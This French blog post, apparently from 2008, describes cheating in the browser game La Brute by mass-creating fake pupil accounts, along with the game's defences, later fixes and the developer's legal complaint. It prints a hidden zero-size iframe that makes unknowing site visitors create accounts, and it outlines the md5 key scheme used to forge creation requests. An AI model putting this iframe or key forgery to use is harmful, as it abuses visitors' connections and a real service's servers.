Tricher sur La Brute

Tricher sur La Brute c’est possible ? Comment tricher ? Tu as un script, un bot, des proxys ? Gaelliss il triche ??

Voilà les préoccupations de la jeunesse Française avant la rentrée. Alors, qu’en est-il vraiment ?

Tout a commencé avec Koreus explosant le classement grâce à un article sur son célèbre site que certains ne semblaient d’ailleurs pas connaître, l’accusant alors de tricherie…

Jusque là rien d’anormal. Puis vint le tour entre autres de Gaelliss très largement accusé de tricherie, notamment parce que son pseudo n’évoquait pas grand chose pour la plupart d’entre nous. Finalement, Gaellis est un personnage connu de la communauté Dofus et administrateur du site Barbok, ceci expliquant « peut-être»  cela.

Si Gaelliss ne trichait pas, il a en tous cas depuis donné des idées à d’autres.

Le principe de la tricherie ? Créer le plus d’élèves possibles, chaque élève donnant 1 point d’expérience à son maître, et des points supplémentaires en grimpant dans les niveaux.

Heureusement, MotionTwin a intégré quelques protections pour éviter qu’un même utilisateur abuse du système des élèves.

Du point de vue d’un utilisateur sous Windows, les sécurités introduites se traduisent de la manière suivante :

• Il faut que l’adresse IP utilisée pour créer l’élève n’ait jamais été utilisée.
• Il faut supprimer le fichier de cookies générés par le Flash : %UserProfile%/Macromedia/Flash Player/#SharedObjects/<XXXXXXX>/data.labrute.fr/swf/create_form_versus.swf/m.sol (ou %UserProfile%/AppData/Roaming/Macromedia/Flash Player/\#SharedObjects/… pour Vista)

En pratique, les petits tricheurs utilisent directement cette technique lorsqu’ils ont « la chance»  d’avoir une IP dynamique. Une IP dynamique comme son nom l’indique est modifiée à chaque reconnexion (par exemple en débranchant/rebranchant le modem ou en redémarrant la couche réseau).

Certains vont plus loin en automatisant ces actions grâce à des logiciels dédiés comme AutoIt sous Windows. On peut trouver ci et là ce genre de bots pour tricher.

Mais la triche est parfois plus poussée, comme on peut s’en faire une idée sur le site d’un certain Robi dont le nom vous dit peut-être quelque chose si vous jetez un coup d’oeil au classement de La Brute :

Sur son site, Robi propose plusieurs techniques pour tricher, dont une particulièrement efficace consistant à rajouter une iframe sur un site Web fortement visité. Cette iframe ouvre une page du site de Robi créant alors un faux élève grâce à l’IP du visiteur.

Pour l’ajouter, il suffit d’utiliser le code suivant :

<iframe style="border: none; width: 0px; height: 0px;" src="http://supprime.net/brute.php?maitre=votrepseudo"></iframe>

C’est plutôt efficace, mais le nom des élèves laisse peu de doutes quant à la tricherie :

Pour ceux disposant d’une IP dynamique, Robi propose aussi d’accéder directement à une page permettant de créer un utilisateur, en évitant la suppression des fichiers Flash :

http://supprime.net/brute.php?maitre=votrepseudo

Sans IP dynamique, les tricheurs doivent passer par la case proxy…

Plus grave, certains profitent de la situation en vendant des bots ou scripts plus ou moins vrais via allopass… Attention à l’arnaque!

Reste une question : comment a fait Robi pour créer ses différents outils ?

Et bien il a été plutôt curieux, la principale difficulté résidant dans l’échange de clé entre le client et le serveur, notamment une clé « k»  présente dans certaines URL dont celle utilisée dans la création d’élèves :

http://papygeek.labrute.fr/create?name=BonGeek&gfx=0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0&k=476b123116

On peut ici retrouver certains principes utilisés par Deezer par exemple. Vous pouvez avoir quelques indices sur la façon dont les clés sont créés en regardant le code source de cette page de création de personnage.

Pour la clé k, c’est légèrement différent, mais sans vous en dire trop le code est de la forme suivante :

md5(pseudo . “CLE SECRETE” . gfx)

C’est certainement ce qu’a utilisé Robi et d’autres tricheurs.

L’intérêt ? Il est plutôt limité si ce n’est pour découvrir l’architecture de sécurité d’une application Flash. Surtout que les tricheurs ne sont pas bien malins et utilisent des noms facilement identifiables pour les élèves comme des suites de numéros…

D’ailleurs, la purge a commencé hier sur La Brute avec plusieurs comptes supprimés.

Comment peuvent faire les administrateurs de La Brute pour détecter les tricheurs si jamais les noms utilisés étaient plus intelligents ? Contrôler les REFERER, c’est-à-dire les pages d’où viennent les créations de comptes et qui doivent normalement représenter une page réelle et fréquentée, et pas une page de hack…

Ils peuvent également faire un tour sur ce chat, où les tricheurs ne sont pas très discrets…

Toutes les armes de La Brute

Voici toutes les armes présentes dans le jeu La Brute.

Toutes les armes de La Brute

Il vous reste encore du boulot avant de tout avoir!

Toutes les compétences de La Brute

Cliquez sur l’image pour voir toutes les compétences de La Brute :

Toutes les compétences de La Brute.

Tous les animaux de La Brute

Il y a trois animaux dans la brute qui peuvent vous aider et combattre à vos côtés : le chien, le loup (ou panthère) et l’ours.

Le Chien

Le Loup

L'Ours

Il n’y a pas de technique particulière pour obtenir ces animaux. Bonne chance pour avoir un Ours!

Les niveaux de La Brute

Cliquez sur l’image pour voir tous les niveaux que vous pouvez atteindre dans La Brute grâce aux tournois :

Créer la photo de votre Brute!

Depuis peu, il est possible de commander des objets à l’effigie de votre brute comme des T-Shirts et des mugs.

Du coup, il suffit de se rendre sur la page tshirt de votre brute et de faire une capture d’écran avec la touche Impr. Ecran de votre clavier pour récupérer une belle image de votre avatar La Brute!

Démonstration :

Votre Avatar La Brute!

Edit 22/08/2008 : Première mise à jour du système avec une nouvelle version des fichiers Flash modifiant notamment les clés utilisées ainsi que la méthode de calcul. Voilà qui devrait décourager certains tricheurs…

Edit 01/09/2008 : Suppression des liens vers le site de Robi, je n’aime pas trop les sites qui essayent de profiter du phénomène en vendant du Allopass et du PayPal.

Edit 01/09/2008 : Fermeture du site de Robi suite à une plainte de Motion-Twin :

Suite à une plainte de Motion-Twin, le site ferme :(

Bonjour,
suite aux attaques répétées de votre part contre nos serveurs,
suite aux attaques répétées des utilisateurs de vos scripts contre nos serveurs,
suite à la reconnaissance de votre activité de vente liée aux attaques contre nos serveurs,
suite au préjudice matériel subis sur nos équipements,
suite au préjudices économiques subis étant donnée l’incapacité de nos serveurs de fonctionner à cause de votre script,
nous vous indiquons notre volonté d’intenter une action en justice contre vous.

Dans tous les cas nous vous demandons :
- de fermer votre site dès réception de ce message,
- d’empêcher l’accès à votre script dès réception de ce message

Sans réponse de votre part ou sans confirmation que vous vous engagez à respecter ces engagements nous adopterons les moyens à notre disposition pour vous poursuivre en justice.

Pour me faire des élèves : http://papygeek.labrute.fr/. Merci!

REJOINDRE MON CLAN.